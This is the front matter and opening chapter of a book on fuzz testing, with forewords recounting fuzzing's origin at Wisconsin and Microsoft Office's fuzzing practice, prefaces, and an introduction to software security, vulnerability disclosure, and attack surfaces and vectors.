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Foreword from the First Edition

It was a dark and stormy night. Really.

Sitting in my apartment in Madison in the Fall of 1988, there was a wild mid-
west thunderstorm pouring rain and lighting up the late night sky. That night, I
was logged on to the Unix systems in my office via a dial-up phone line over a 1200
baud modem. With the heavy rain, there was noise on the line and that noise was
interfering with my ability to type sensible commands to the shell and programs
that I was running. It was a race to type an input line before the noise overwhelmed
the command.

This fighting with the noisy phone line was not surprising. What did surprise
me was the fact that the noise seemed to be causing programs to crash. And more
surprising to me was the programs that were crashing—common Unix utilities that
we all use everyday.

The scientist in me said that we need to make a systematic investigation to try
to understand the extent of the problem and the cause.

That semester, [ was teaching the graduate Advanced Operating Systems course
at the University of Wisconsin. Each semester in this course, we hand out a list of
suggested topics for the students to explore for their course project. I added this
testing project to the list.

In the process of writing the description, I needed to give this kind of testing a
name. I wanted a name that would evoke the feeling of random, unstructured data.
After trying out several ideas, I settled on the term “fuzz.”

Three groups attempted the fuzz project that semester and two failed to achieve
any crash results. Lars Fredriksen and Bryan So formed the third group, and were
more talented programmers and most careful experiments; they succeeded well
beyond my expectations. As reported in the first fuzz paper!, they could crash or
hang between 25-33% of the utility programs on the seven Unix variants that
they tested.

However, the fuzz testing project was more than a quick way to find program
failures. Finding the cause of each failure and categorizing these failures gave the
results deeper meaning and more lasting impact. The source code for the tools and
scripts, the raw test results, and the suggested bug fixes were all made public. Trust
and repeatability were crucial underlying principles for this work.

In the following years, we repeated these tests on more and varied Unix systems
for a larger set of command-line utility programs and expanded our testing to GUI
programs based on the then-new X-window system?. Windows followed several

L ftp://ftp.cs.wisc.edu/paradyn/technical_papers/fuzz.pdf.
2 ftp://ftp.cs.wisc.edu/paradyn/technical_papers/fuzz-revisited.pdf.

XV
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years later’ and, most recently, MacOS*. In each case, over the span of the years,
we found a lot of bugs and, in each case, we diagnosed those bugs and published
all of our results.

In our more recent research, as we have expanded to more GUI-based applica-
tion testing, we discovered that classic 1983 testing tool, “The Monkey” used on
the earlier Macintosh computers’. Clearly a group ahead of their time.

In the process of writing our early fuzz papers, we came across strong resis-
tance from the testing and software engineering community. The lack of a formal
model and methodology and undisciplined approach to testing often offended
experienced practioners in the field. In fact, I still frequently come across hostile
attitudes to this type of “stone axes and bear skins” (my apologies to Mr. Spock)
approach to testing.

My response was always simple: “We’re just trying to find bugs.” As I have
said many times, fuzz testing is not meant to supplant more systematic testing. It is
just one more tool, albeit, and an extremely easy one to use, in the tester’s toolkit.

As an aside, note that the fuzz testing has not ever been a funded research effort
for me; it is a research advocation rather than a vocation. All the hard work has
been done by a series of talented and motivated graduate students in our Computer
Sciences Department. This is how we have fun.

Fuzz testing has grown into a major subfield of research and engineering, with
new results taking it far beyond our simple and initial work. As reliability is the
foundation of security, so has it become a crucial tool in security evaluation of
software. Thus, the topic of this book is both timely and extremely important.
Every practitioner who aspires to write safe and secure software needs to add these
techniques to their bag of tricks.

Barton Miller
Madison, Wisconsin
April 2008

Operating System Utility Program Reliability—The Fuzz Generator

The goal of this project is to evaluate the robustness of various Unix utility programs,
given an unpredictable input stream. This project has two parts. First, you will build
a “fuzz” generator. This is a program that will output a random character stream.
Second, you will take the fuzz generator and use it to attack as many Unix utilities
as possible, with the goal of trying to break them. For the utilities that break, you
will try to determine what type of input caused the break.

3 ftp://ftp.cs.wisc.edu/paradyn/technical_papers/fuzz-nt.pdf.

4 ftp://ftp.cs.wisc.edu/paradyn/technical_papers/fuzz-MacOS.pdf.

S Hertzfeld, A., Revolution in The Valley: The Insanely Great Story of How the Mac Was Made,
Sebastopol, California: O’Reilly Media, October 2011, ISBN13: 9781449316242.
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The Program

The fuzz generator will generate an output stream of random characters. It will
need several options to give you flexibility to test different programs. Below is the
start for a list of options for features that fuzz will support. It is important when
writing this program to use good C and Unix style, and good structure, as we hope
to distribute this program to others.

-p only the printable ASCII characters
-a all ASCII characters
-0 include the null (0 byte) character
-1 generate random length lines (\n terminated strings)
—f name record characters in file “name”
—d nnn delay nnn seconds following each character
—r name replay characters in file “name” to output
The Testing

The fuzz program should be used to test various Unix utilities. These utilities include
programs like vi, mail, cc, make, sed, awk, sort, etc. The goal is to first see if the
program will break and second to understand what type of input is responsible for

the break.






Foreword to the Second Edition

As a software engineering manager focused on Microsoft Office Security, I am
constantly weighing which engineering investment should be made to provide maxi-
mum protection to customers. Similar to other decisions, there are many trade-
offs and we want to optimize for investments that make a significant difference
to our customers’ security. Fuzzing has been one of the most impactful techniques
for improving our product’s security. Unlike other approaches to finding security
bugs, fuzzing can be fully automated, results are often easily reproducible, and it
does not require deep security expertise to find and fix the flaws. For more than
10 years we have been fuzzing Office and continue to heavily leverage fuzzing as
part of our overall security effort.

Microsoft Office is made of code written over several decades and is relatively
complex. Many of the file formats and initial parsing code originated at a time when
most computers were not connected to other computers and the most common way
to share files was by physically sharing a floppy disk with someone. Some of the
early software testers have shared with me that intentionally corrupting a document
and expecting Office to properly handle that was not considered a valid scenario.
Obviously, a lot has changed since then. Today, we run automation in our lab to
do this very thing millions of times within a few hours.

Before going into some of the key investments we’ve made and lessons learned
from those, Id like to point out that fuzzing is only a piece of our plan. Designing
code with security in mind, ensuring software engineers writing code follow secure
coding practices, and other pieces of the Secure Development Lifecycle (http://www.
microsoft.com/security/sdl) continue to be important. Fuzzing isn’t a panacea; you
won’t find all security defects through fuzzing. However, it has been an effective
way to find an important set of bugs that were either difficult or not found through
other methods.

Below are eight themes of learning which we’ve discovered through our fuzz-
ing investments.

 Experimentation. When we began our thinking about making fuzzing invest-
ments, there was some debate that it was the right investment and if it would
yield results in an efficient way. Fuzzing, especially in our initial stages, was
pretty dumb (the tools didn’t know the data formats being fuzzed). Several
argued deeper code review and other approaches that leveraged our knowledge
of the code and how data could/should be defined would be a better invest-
ment. We experimented. We made a few initial investments and continued
to make tweaks and reevaluate if fuzzing would help us achieve our goals.
Within a few months, there was clear agreement that fuzzing was yielding a

Xix
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high return on investment. There were many reasons for this. We had numer-
ous examples of security issues that our fuzzing efforts had uncovered. Many
of these examples were in areas that we had already leveraged static analysis
tools and manual code reviews so how/why was fuzzing finding these? Unlike
static analysis/code review, fuzzing actually executes the targeted application
or service code including all of its dependencies. Unlike humans looking at a
specific situation, format agnostic fuzzers aren’t going to convince themselves
not to try a test case or that API documentation means the code works in a
specific way. The fuzzer blindly tries code and monitors the execution at all
layers of the stack. This includes code dependencies that code reviewers and
static analysis tools often overlook. During the Office 2010 product cycle, we
found and fixed more than 1,800 bugs identified through fuzzing. We also
identified bugs in libraries we used in our code and worked with the authors
to fix these external bugs.

We have continued to leverage experimentation in our fuzzing work. Some-
times we think a fuzzer is too simplistic or we already have good coverage and
it might be a waste to spend time running it. We learned it is good to give it
a try and monitor if unique issues are being found in an efficient way. Char-
lie Miller certainly showed that a very simplistic fuzzer can find real results
at his CanSecWest 2012 talk entitled, “Babysitting an Army of Monkeys.”
Internally, we sometimes do head-to-head matches between fuzzers when
people feel certain fuzzing techniques would be more effective than others.
More iterations = more bugs. Similar to other people’s discoveries, we found
that with nondeterministic fuzzing algorithms the more fuzz test iterations
performed, the more likely we were to find bugs. When we initially started
fuzzing Office, most engineers had several test machines in their offices. We
convinced a large number of people to run fuzzers on those machines to more
quickly get fuzzing results. Basically, we had people running standalone fuzz-
ers on their machines when they weren’t in use (nights, weekends, lunch, when
they were in meetings, etc.) While this did allow us to quickly get coverage,
investigation of the results was messy and inefficient. We later improved upon
this. We also now leverage the Office automation lab, which is mostly used
for functional automation to complete a large number of fuzzing tests quickly.
Distribute runs; centralize investigation results. As noted earlier, we had a
large number of machines performing fuzz tests, but investigating the results
wasn’t streamlined. We made several improvements to address this. First, we
wanted a way to make it simple for anyone to run a fuzzer on their available
hardware—so simple that people without programming or testing experience
could do it. David Conger from the Microsoft Access team was already work-
ing to address this need within the Access team. He built a system which was
comprised of a client executable that would run on someone’s machine and
a few server components that the clients would talk to. The server manages
all fuzzing jobs, collects results, and most importantly, keeps track of data
across the many fuzzing runs. We leverage internal symbol files to detect if
crashes are identical or similar crashes across machines, different builds, and
versions of the product. This means that if a fuzzing crash is found on one
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machine and it is similar to a crash identified on another machine/build/ver-
sion, we know immediately. In many cases, we can automatically mark a crash
as another instance of an issue already identified. Everything is stored in an
SQL database so it is easy to get information about crashes even years later.
This part of our fuzzing system has greatly evolved since the early days. If you
are doing fuzzing at scale, you will likely want to leverage something similar.

« Good engineering practices go a long way. It’s relatively easy write a quick-
and-dirty fuzzer. If it finds bugs, you may feel successful. If it doesn’t you
might feel your fuzzing target is robust. This can be very misleading. Today
we treat our fuzzing efforts similar to the way we treat developing customer
shipping code. We perform design reviews, code reviews prior to check-in,
we test our fuzzers and infrastructure for correctness, and we have moni-
tors that alert us when our fuzzing system isn’t running as expected. If our
fuzzing system is down, we treat it as a service blocker (high priority where
other work is paused to address the service issue). We didn’t always have this
rigor—especially in the beginning. We had several instances where the system
was unreliable, fuzzers wouldn’t perform modifications in the intended ways,
and results weren’t always reproducible.

» Measuring coverage. As an extension of testing our work to ensure our fuzz-
ing system was doing what was expected, we wanted to better understand
if our seed or template data was complete and if our fuzzers hit the targeted
code to the depth expected. We did two main things. First, we worked with
software engineers on each of the product teams (Word, Excel, PowerPoint,
etc.) to ensure our template data was more comprehensive. For example, many
teams had sample files that could be parsed but not created in recent versions
of the product. These files were added to our template repository. We wrote
a toolset to help us scan through our template repository and identify what
was still missing. Second, we also looked at the parser’s source to identify
the location of the code we were targeting. This allowed us to ensure fuzz-
ers targeting specific formats were in fact reaching that parsing code. For
example, when a fuzzer is added to our system, the locations of the code it
is targeting is included along with the percentage of fuzz iterations that must
hit that code. If the run completes with a percentage lower than specified,
an alert is triggered and no additional jobs with that fuzzer are processed.
(This allows other fuzzing jobs that are operating as expected to leverage the
available machines.) This process has identified misbehaving fuzzers, infra-
structure issues, as well as product changes that resulted in the parser not
getting invoked as expected.

* Determining exploitability may not be the best use of time. I manage a team
of security engineers who are very talented and can investigate fuzzing crashes,
determine exploitability, and create proof of concept exploits. However, this
takes skill and time; it doesn’t scale well. Instead of trying to train and keep
all nonsecurity software engineers up to date on exploitation techniques, we
found it was usually faster to investigate and fix the crashing code than it was
to completely understand exploitability. There are many places we fix bugs
that are not security issues as a result. This is often intentional; most of the
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time fixing a crash improves product reliability and that is important even
outside of security. Of the 1,800 fuzzing bugs fixed in Office 2010, only a
subset were security issues.

Informing nonfuzzing efforts through fuzzing. Fuzzing has helped us identify
patterns and parts of the code that were not as robust as expected. With this
knowledge, we can do more thorough source code review and manual pen-
testing. For example, instead of just fixing the fuzzing crash identified, we look
across our codebase for similar patterns exist and fix those, too. Sometimes
these additional places are attackable but require a very sophisticated fuzzer.
Several fuzzing crashes in related code also helps us prioritize that area of
the code needs additional code review and may be a good candidate for our
pen-test team’s efforts.

Continuous innovation. One of my favorite things about security is the rapid
evolution. I am constantly discovering new things on my own and learning
from others. After using the same fuzzing algorithm for a period of time, it
won’t yield the same results as it initially did. You already found the major-
ity of the bugs that algorithm will identify. If you are the creator of the soft-
ware, it is tempting to say fuzzing work is done and stop fuzzing. We took a
different approach. First, we didn’t stop fuzzing. We decided given we were
leveraging existing hardware used for functional automation and our fuzzing
process was completely automated, there wasn’t much cost to continue fuzzing.
Since many of our fuzzers weren’t deterministic and parsing code sometimes
changes, we continued to find some bugs. We continue to force ourselves to
change our fuzzers and infrastructure to find more bugs. We know third
parties are eager to find bugs in our code so we are mindful not to become
complacent. In addition to our direct work, we stay on top of developments
others in the community have made and apply those to our work. We also
have a close partnership with Microsoft Research, who has created highly
advanced fuzzers involving constraint solving like SAGE.

Tom Gallagher
Principal Group Engineering Manager, Microsoft



Preface from the First Edition

Still today, most software fails with negative testing, or fuzzing, as it is known by
security people. I (Ari) have never seen a piece of software or a network device that
passes all fuzz tests thrown at it. Still, things have hopefully improved a bit from
1996 when we started developing our first fuzzers, and at least from the 1970s when
Dr. Boris Beizer and his team built their fuzzer-like test automation scripts. The key
driver for the change is the adaptation of these tools and techniques, and availability
of the technical details on how this type of testing can be conducted. Fortunately
there has been enormous development in the fuzzer market, as can be seen from
the wide range of available open source and commercial tools for this test purpose.

The idea for this book came up in 2001, around the same time when we com-
pleted the PROTOS Classic project on our grammar-based fuzzers. Unfortunately
we were distracted by other projects. Back then, as a result of the PROTOS project,
we spawned a number of related security spin-offs. One of them was the commercial
company Codenomicon, which took over all technical development from PROTOS
Classic, and launched the first commercial fuzzers in early 2002 (those were for SIP,
TLS, and GTP protocols if you are interested). Another was the PROTOS Genome
project, which started looking at the next steps in fuzzing and automated proto-
col reverse-engineering, from a completely clean table (first publicly available tests
were for various compression formats, released in March 2008). And the third was
FRONTIER, which later spun-out a company doing next-gen network analysis tools
and was called Clarified Networks. At the same time we kept our focus on fuzzer
research and teaching on all areas of secure programming at the University of Oulu.
And all this was in a small town of about two hundred thousand people, so you
could say that one out of a thousand people were experts in fuzzing in this far-north
location. But, unfortunately, the book just did not fit into our plans at that time.

The idea for the book reemerged in 2005 when I reviewed a paper Jared DeMott
wrote for the Blackhat conference. For the first time since all the published and
some unpublished works at PROTOS, I saw something new and unique in that
paper. I immediately wrote to Jared to propose that he would coauthor this fuzzer
book project with me, and later also flew in to discuss with him to get to know
him better. We had completely opposite experiences and thoughts on fuzzing, and
therefore it felt like a good fit, and so finally this book was started. Fortunately I
had a dialog going on with Artech House for some time already, and we got to start
the project almost immediately.

We wanted everything in the book to be product independent, and also technol-
ogy independent. With our combined experiences, this seemed to be natural for the
book. But something was still missing. As a last desperate action in our constant
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struggle to get this book completed by end of 2007, we reached out to Charlie Miller.
The main reason for contacting him was that we wanted to have a completely inde-
pendent comparison of various fuzzer technologies, and did not want to write that
ourselves as both of us had strong opinions in various, conflicting, directions. I, for
instance, have always been a strong believer in syntax testing-based negative test-
ing (some call this model-based fuzzing), with no random component to the tests.
Jared, on the other hand, was working on evolutionary fuzzers. Charlie accepted
to write a chapter, but later actually got more deeply involved in the project and
ended up writing almost one third of the book (Charlie should definitely do more
traveling, as he claims he wrote all that in an airplane).

Our goal was to write something that would be used as a course book at uni-
versities, but also as a useful reference for both quality assurance engineers and
security specialists. And I think we succeeded quite well. The problem with other
available books was that they were targeted to either security people, or to quality
assurance, or on very rare occasions to the management level. But fuzzing is not
only about security, as fuzzers are used in many closed environments where there
are no security threats. It is also not only about software quality. Fuzzing is a con-
vergence of security practices into quality assurance practices, or sometimes the
other way around. In all 100+ global customers of Codenomicon fuzzing tools (in
late 2007), from all possible industry verticals, the same logic is always apparent
in deploying fuzzers: Fuzzing is a team effort between security people and quality
assurance people.

There are many things that were left out of this edition of the book, but hope-
fully that will motivate you to buy enough books so that the publisher will give
us an opportunity to improve. This book will never be complete. For example in
2007 and early 2008 there were a number of completely new techniques launched
around fuzzing. One example is the recent release of the PROTOS Genome. Also,
commercial companies constantly continue to develop their offerings, such as the
rumors of the Wurldtech “Achilles Inside” (whatever that will be), and the launch
of the “fifth generation” Codenomicon Defensics 3.0 fuzzing framework, both of
which were not covered in this book. Academics and security experts have also
released new frameworks and tools. One example that you definitely should check
out is the FuzzGuru, available through OWASP. I am also expecting to see some-
thing completely different from the number of academics working with fuzzing,
such as the techniques developed by the Madynes team in France.

We promise to track those projects now and in the future, and update not only
this book, but also our Web site dedicated to fuzzing-related topics (www.fuzz-test.
com.) For that, please contact us with your comments, whether they are positive or
negative, and together we will make this a resource that will take software develop-
ment a giant leap forward, into an era where software is reliable and dependable.

Ari, Jared, and Charlie



Preface to the Second Edition

The first edition of this book served as one of the first stepping stones when I
entered the fascinating world of fuzzing in 2011. Maybe it was lacking the newest
tools and techniques, but the body of knowledge was, and still is, solid. People still
make mistakes, software is still broken, and even with the modern quality assurance
techniques, fuzzing is still a powerful addition that often reveals bugs that would
have otherwise been missed.

Like Charlie for the first edition, I was called in as the last reserve. I jumped
aboard without actually ever thinking about how much in fuzzing has changed
since the first edition was written; even more intriguing was to find out how much
has actually stayed the same. Setting aside small things here and there, leaps in
evolutionary fuzzing tools, like American Fuzzy Lop (AFL), and emerging of full
fuzz test automation systems, like Google’s ClusterFuzz, are already milestones that
justify an update for this type of a book.

The goal of the first edition was to be an educational book that would not be
outdated in a decade. You are now reading the second edition, so things did not
work out exactly as planned. For this edition, our goal was to refresh the content
with major changes that have happened in the context of fuzzing in the last decade.
Some of the tools and techniques referenced in the first edition are long gone, but we
didn’t want to just erase them. They still serve in educational purposes, as they show
how fuzzing and related technologies have evolved. With these new updates, we are
certain that this book will serve as “the fuzzing book” for yet another decade or so.

Atte
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Introduction

Welcome to the world of fuzzing!

In a nutshell, the purpose of fuzzing is to send anomalous data to a system to
crash it, therefore revealing reliability problems. Fuzzing is widely used by both
security and by quality assurance (QA) experts, although some people still suffer
from misconceptions regarding its capabilities, effectiveness, and practical imple-
mentation. Fuzzing can be defined as

A highly automated testing technique that covers numerous boundary cases
using invalid data (from files, network protocols, API calls, and other tar-
gets) as application input to better ensure the absence of exploitable vulner-
abilities. The name comes from modem applications’ tendency to fail due
to random input caused by line noise on fuzzy telephone lines.!

However before you explore fuzzing further, we ask you to try to understand
why you are interested in fuzzing. If you are reading this, one thing is clear: You
would like to find bugs in software, preferably bugs that have security or safety
implications. Why do you want to find those flaws? Generally, there are three dif-
ferent purposes for looking for these types of defects:

1. Quality Assurance (QA): Testing and securing your internally devel-
oped software.

2. System Administration (SA): Testing and securing software on which you
depend in your own usage environment.

3. Vulnerability Assessment (VA): Testing and trying to break into someone
else’s software or system.

In this book, we will look at fuzzing from all of these perspectives. We will view
fuzzing from a developer’s perspective, as well as through the eyes of an enterprise
end user. We will also consider the requirements of a third-party assessment team,
whether that is a testing consultant or a black-hat hacker. One goal of this book is
to level the playing field between software companies (testers) and vulnerability ana-
lysts (hackers). Software testers can learn from the talents of hackers, and vice versa.

Fuzzing is the most powerful test automation tool for discovering security-critical
problems in software. One could argue that code auditing tools find more flaws

'Qehlert, P. “Violating Assumptions with Fuzzing,” IEEE Security & Privacy (March/April 2005):
58-62.
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in code, but after comparing the findings from a test using intelligent fuzzing and
a thorough code audit, the result is clear. Most findings from code auditing tools
are false positives, alerts that have no security implications. Fuzzing has no such
problem. There are no false positives. A crash is a crash. A bug is a bug. And almost
every bug found with fuzzing is exploitable at some level, at minimum resulting in
denial of service. As fuzzing is generally black-box testing, every flaw is, by defini-
tion, remotely exploitable, depending, of course, on the interface you are fuzzing
and to some extent on your definition of exploitation. Fuzzing is especially useful
in analyzing closed-source, off-the-shelf software and proprietary systems, because
in most cases it does not require any access to source code.

In this chapter we will present an overview of fuzzing and related technologies.
We will look at why security mistakes happen and why current security measures
fail to protect us from security compromises that exploit these mistakes. We will
explore how fuzzing can help by introducing proactive tools that anyone can use to
find and eliminate security holes. We will go on to look where fuzzing is currently
used, and why. Finally, we will get a bit more technical and review the history of
fuzzing, with focus on understanding how various techniques in fuzzing came into
existence. Still, remember that the purpose of this chapter is only to provide an
overview that will prepare you for what is coming later in the book. Subsequent
chapters will provide more details on each of these topics.

Software Security

Fuzzing is a great technique for finding security-critical flaws in any software rap-
idly and cost effectively. Unfortunately, fuzzing is not always used where it should
be used, and therefore many systems on which we depend are immature from a
security perspective. One fact has emerged from the security field: Software will
always have security problems. Almost all software can be hacked easily. However if
you become familiar with the topic of software security and the related techniques,
you might be able to make a difference on how many of those parasitic security
mistakes eventually remain in the software. This is what software security is about.

Few people today know what software security really is, even if they are so-
called security experts. Like the maps from ancient times used to warn, the danger-
ous area just outside the map is sometimes best left alone. The uncharted territory
just read, “Here be dragons,” meaning that you should not venture there. It is too
scary or too challenging. Fortunately for software security, the age of darkness is
over because the first explorers risked their souls and delved into the mystic lands of
hacking, trying to explain security to ordinary software developers. First, they were
feared for their new skills, and later they were blamed for many of the dangerous
findings they encountered. Even today they are thought to possess some secret arts
that make them special. However what they found was not that complex after all.

Software security testing can be introduced at various organizations, starting
from research and development (R&D), then entering the test-lab environment, and
finally in the operations (Figure 1.1).

In R&D, fuzzing can be used both in the early prototyping phase and in the
implementation phase, where the majority of programming takes place. In fact,
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Figure 1.1 Places for using fuzzing: In development, in third-party test laboratories and in
Enterprise operations.

immediately when the first operational prototype is ready, it can be fuzzed. Test
automation is often integrated to Continuous Integration, automated build processes,
and regression testing. Source code auditing tools are also actively used in software
development to eliminate the easiest weaknesses caused by programming mistakes.
R&D includes testing, especially tests that take place before system integration.

In test laboratories after the system has been integrated a dedicated testing
team typically performs most of the remaining testing efforts. Depending on the
software development process, some of the testing is more closely integrated into
the development. The remaining tests conducted in the test lab environment can
be quite different from the tests performed in R&D environment. Test labs are
extremely common in systems development for example in telecommunications,
finance and industrial networks, and can be quite significant in physical size. In a
test lab, a system can be tested with any available tools, and the test results can be
analyzed with all possible metrics selected for use. A test lab may contain expensive,
dedicated tools for load and performance testing, as well as fuzzing. Indeed, some
commercial fuzzers have been implemented as fixed test appliances for traditional
test lab environments.

In operations, various post-deployment techniques are used to increase soft-
ware security. Vulnerability scanners or security scanners such as Nessus? are most
commonly used in a live environment. An important criterion for test tools in an
operational environment is that they should not disrupt the operation of critical
services. Still, penetration testing services are often conducted against live systems,
as they need to validate the real environment from real threats. This is because not
all problems can be caught in the controlled confines of a test lab. Similarly, fuzz-
ing should be carefully considered for operational environments. It may be able to
find more flaws than when compared to a test lab, but it is likely to also disrupt
critical services.

2The Nessus Security scanner is provided by Tenable Security and is available at www.nessus.org.
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Never forget that there is no silver bullet solution for security: Not even fuzzing
can guarantee that there are no flaws left in the software. The fast-paced world of
technology is changing, growing, and constantly evolving, for better or worse. This
is good news for testers: People will be writing new software for the foreseeable
future. And new software inevitably brings new bugs with it. Your future careers
are secured. Software continues to become more complex, and the number of bugs
is thought to be directly proportional to lines of code. The security testing tools
you have will also improve and, as you will see, fuzzing tools certainly have evolved
during the past 20 years.

1.1.1  Security Incident

The main motivation for software security is to avoid security incidents: events where
someone can compromise the security of a system through and active attack, and
where data can be disclosed or destroyed through mistakes made by people, or due
to natural disasters such as floods or tornadoes. Active compromises are the more
significant factor for discussions related to fuzzing. Accidental incidents may arise
when software is misconfigured or a single bit among massive amounts of data flips
due to the infamous alpha-particles, cosmic rays, or other mysterious reasons and
result in the crash of a critical service. Accidental incidents are still quite rare events,
and probably only concern service providers requiring extremely high availability,
handling massive amounts of data such as telecommunication, storage or cloud.
The related threat is minimal, as the probability of such an incident is insignificant.
The threat related to active attacks is much more severe.

Software security boasts a mixture of terms related to security incidents. Threats
are typically related to risks of loss for an asset (money, data, reputation). In a secu-
rity compromise, this threat becomes realized. The means of conducting the com-
promise is typically done through an attack, a script or malicious code that misuses
the system, causing the failure, or potentially even resulting in the attacker’s taking
control of the system. An attack is used to exploit a weakness in the system. These
weaknesses when verified to be exploitable are called software vulnerabilities, but
can also be called defects, or flaws in the system.

Example threats to assets include:

* Availability of critical infrastructure components;
« Data theft using various technical means.

Example attacks are the actual exploitation tools or means:

* Viruses and worms that take advantage of zero-day flaws;
+ Distributed denial of service (DDoS) attacks.

Weaknesses can be, for example,
» Openness of wireless networks;

« Processing of untrusted data received over the network;
+ Mishandling of malicious content received over the network.
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Even casual security hackers are typically one step ahead of the system admin-
istrators who try to defend their critical networks. One reason for that is the easy
availability of vulnerability details and attack tools. You do not need to keep track
of all available hacking tools if you know where you can find them when you need
them. However, now that computer crime has gone professional, all the tools used
by hackers might not be available to the good guys. Securing assets is becoming
more challenging, as white-hat hacking is becoming more difficult.

1.1.2 Disclosure Processes

There are thousands of software flaws just waiting to be found and, given enough
time, they will be found.? It is just a matter of who finds them first and what they
do with the findings. In the worst case, each found security issue could result in a
patch and penetrate race: A malicious user tries to infiltrate the security of the ser-
vices before the administrators can close the gaping holes, or a security researcher
keeps reporting issues to a product vendor one by one over the course of many
months or years, forcing the vendor to undergo a resource-intensive patch testing,
potential recertification, and worldwide rollout process for each new reported issue.

Three different models are commonly used in vulnerability disclosure processes:

1. No disclosure: No details of the vulnerability, nor even the existence of the
vulnerability, are disclosed publicly. This is often the case when vulner-
abilities are found internally, and they can be fixed with adequate time and
prioritization. The same can also happen if the disclosing organization is a
trusted customer or a security expert who is not interested in gaining fame
for the findings. People who do not like the no-disclosure model often argue
that it is difficult for the end users to prioritize the deployment of updates
if they do not know whether they are security-related and that companies
may not bother to fix even critical issues quickly unless there is direct pres-
sure from customers to do so.

2. Partial disclosure: This is the most common means of disclosure in the
industry. The vendor can disclose the nature of the correction and even a
workaround when a proper correction is not yet available. The problem
with partial disclosure is that hackers can reverse-engineer the corrections
even when limited information is given. Most partial disclosures end up
becoming fully known by those who are interested in the details and have
the expertise to understand them.

3. Full disclosure: All details of the vulnerability, including possible exploitation
techniques, are disclosed publicly. In this model, each reader with enough
skill can analyze the problem and prioritize it accordingly. Sometimes users
decide to deploy the vendor-provided patches, but they can also build other
means of protecting against attacks targeting the vulnerability, including
deploying intrusion detection systems or firewalls. Full disclosure is the

3For example, according to CVE details database, top 10 vendors had total of 4,600 vulnerabilities
found in 2016; www.cvedetails.com.
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default for open source projects as code commits, comments and discus-
sions are usually public.

From an end-user perspective, there are several worrisome questions: Will an
update from the vendor appear on time, before attackers start exploiting a reported
vulnerability? Can we deploy that update immediately when it becomes available?
Will the update break some other functionality? What is the total cost of the repair
process for our organization?

As a person conducting fuzzing, you may discover many critical vulnerabilities
that can affect both vendors and end users. You may want to consider the conse-
quences before deciding what to do with the vulnerabilities you find. Before blowing
the whistle, we suggest you familiarize yourself with the works done on vulnerability
disclosure at Oulu University Secure Programming Group (OUSPG).*

1.1.3 Attack Surfaces and Attack Vectors

The most important aspect of software vulnerabilities is the accessibility of the vul-
nerability. Software vulnerabilities have security implications only when they are
accessible through external interfaces. Such vulnerabilities also must have triggers
that can be identified and are repeatable.

Fuzzing enables software testers, developers, and researchers to find vulner-
abilities that can be triggered by malformed or malicious inputs via standard inter-
faces. This means that fuzzing is able to cover the most exposed and critical attack
surfaces in a system relatively well. Attack surface has several meanings, depending
on what is analyzed. To some, attack surface means the source code fingerprint
that can be accessed through externally accessible interfaces. This is where either
remote or local users interact with applications, like loading a document into a
word processor, or checking email from a remote mail server. From a system testing
standpoint, the total attack surface of a system can comprise all of the individual
external interfaces it provides. It can consist of various network components, vari-
ous operating systems and platforms running on those devices, and finally, all client
applications and services.

Interfaces where privilege changes occur are of particular interest. For example,
network data is unprivileged, but the code that parses the network traffic on a
server always runs with some privilege on its host computer. If an attack is possible
through that network-enabled interface—for example, due to a vulnerability in mes-
sage parsing code—an unprivileged remote user could gain access to the computer
doing the parsing. As a result, the attacker will elevate its privileges into those of
the compromised process. Privilege elevation can also happen from lower privileges
to higher privileges on the same host without involving any network interfaces.

An example of fuzzing remote network-enabled attack surfaces would be to
send malformed Web requests to a Web server, or to create malformed video files
for viewing in a media player application. Currently, dozens of commercial and
free fuzz testing frameworks and fuzz-data generators of highly varying testing

*Vulnerability disclosure publications and discussion tracking, maintained by University of Oulu since
2001. Available at https://www.ee.oulu.fi/research/ouspg/Disclosure_tracking.
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capability exist. Some are oriented toward testing only one or a few interfaces with
a specialized and predefined rule set, while others are open frameworks for creat-
ing fuzz tests for any structured data. The quality of tests can vary depending on
the complexity of the interface and the fuzzing algorithms used. Simple tools can
prove very good at testing simple interfaces, for which complex tools could be too
time-consuming or expensive. On the other hand, a complex interface can only be
tested thoroughly with a more capable fuzzing system.

The various routes into a system, whether they are remote or local, are called
attack vectors. A local vector means that an attacker already has access to the system
to be able to launch the attack. For instance, the attacker may possess a user-name
and password, with which he or she can log into the system locally or remotely.
Another option is to have access to the local user interface of the system. Note that
some user interfaces are realized over the network, meaning that they are not local.
The attacker can also have access to a physical device interface such as a USB port.
As examples a local attack vector can consist of any of the following:

Graphical user interface (GUI);

Command line user interface (CLI);

Programming interfaces (API);

Files;

Local network loops (RPC, Unix sockets or pipes, etc.);
Physical hardware access.

Ak

Much more interesting interfaces are those that are accessible remotely. Those are
the ones on which fuzzing has traditionally focused. Note that many local interfaces
can also be accessed remotely through active content (ActiveX, JavaScript, Flash)
and by fooling people into activating malicious content (media files, executables).

Most common categories of remote interfaces that fuzzers test are displayed
in Figure 1.2.

1. Web applications: Web forms are still the most common attack vector. Prob-
ably half of all publicly reported vulnerabilities are related to various pack-
aged or tailored Web applications, often unique to a specific Web service or
application. Almost all of those vulnerabilities have been discovered using
various forms of fuzzing although today there are more static analysis tools
that understand Web application vulnerabilities.

Digital Web
media O\ @ applications

Wireless Network
infrastructure protocols

Figure 1.2 Categories of remote attack vectors in most network-enabled systems.
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2. Digital media: File formats are transferred as payloads over the network (e.g.,
downloaded over the Web or sent via email). There are both open source and
commercial fuzzers available for almost any imaginable file format. Many
fuzzers include simple Web servers or other tools to automatically send the
malicious payloads over the network, whereas other file fuzzers are com-
pletely local. Interesting targets for file fuzzers are various media gateways
that cache, proxy, or convert various media formats, antivirus software that
has to be able to separate valid file contents from malware, and, of course,
various widely used operating system components such as graphics libraries
or metadata indexing services.

3. Network protocols: Standardization organizations such as IETF and 3GPP
have specified hundreds of communication protocols that are used every-
where in the world. A network protocol fuzzer can be made to test both
client- and server-side implementations of the protocol. A simple router on
the network can depend on dozens of publicly open protocol interfaces, all
of which are extremely security-critical due to the requirement of the router
being available for any remote requests or responses.

4. Wireless infrastructure: All wireless networks are always open. Fuzzing has
been used to discover critical flaws in Bluetooth and 802.11 WLAN (WiFi)
implementations, for example, with these discoveries later emerging as sophis-
ticated attack tools capable of exploiting wireless devices several miles away.
Wireless devices are almost always embedded, and a flaw found in a wireless
device has the potential of resulting in a total corruption of the device. For
example, a flaw in an embedded device such as a Bluetooth-enabled phone
can totally corrupt the memory of the device with no means of recovery.

Fuzzers are already available for well over one hundred different attack vectors,
and more are emerging constantly. The hottest trends in fuzzing seem to be related
to communication interfaces that have just recently been developed. One reason for
that is that those technologies are most immature, and therefore security flaws are
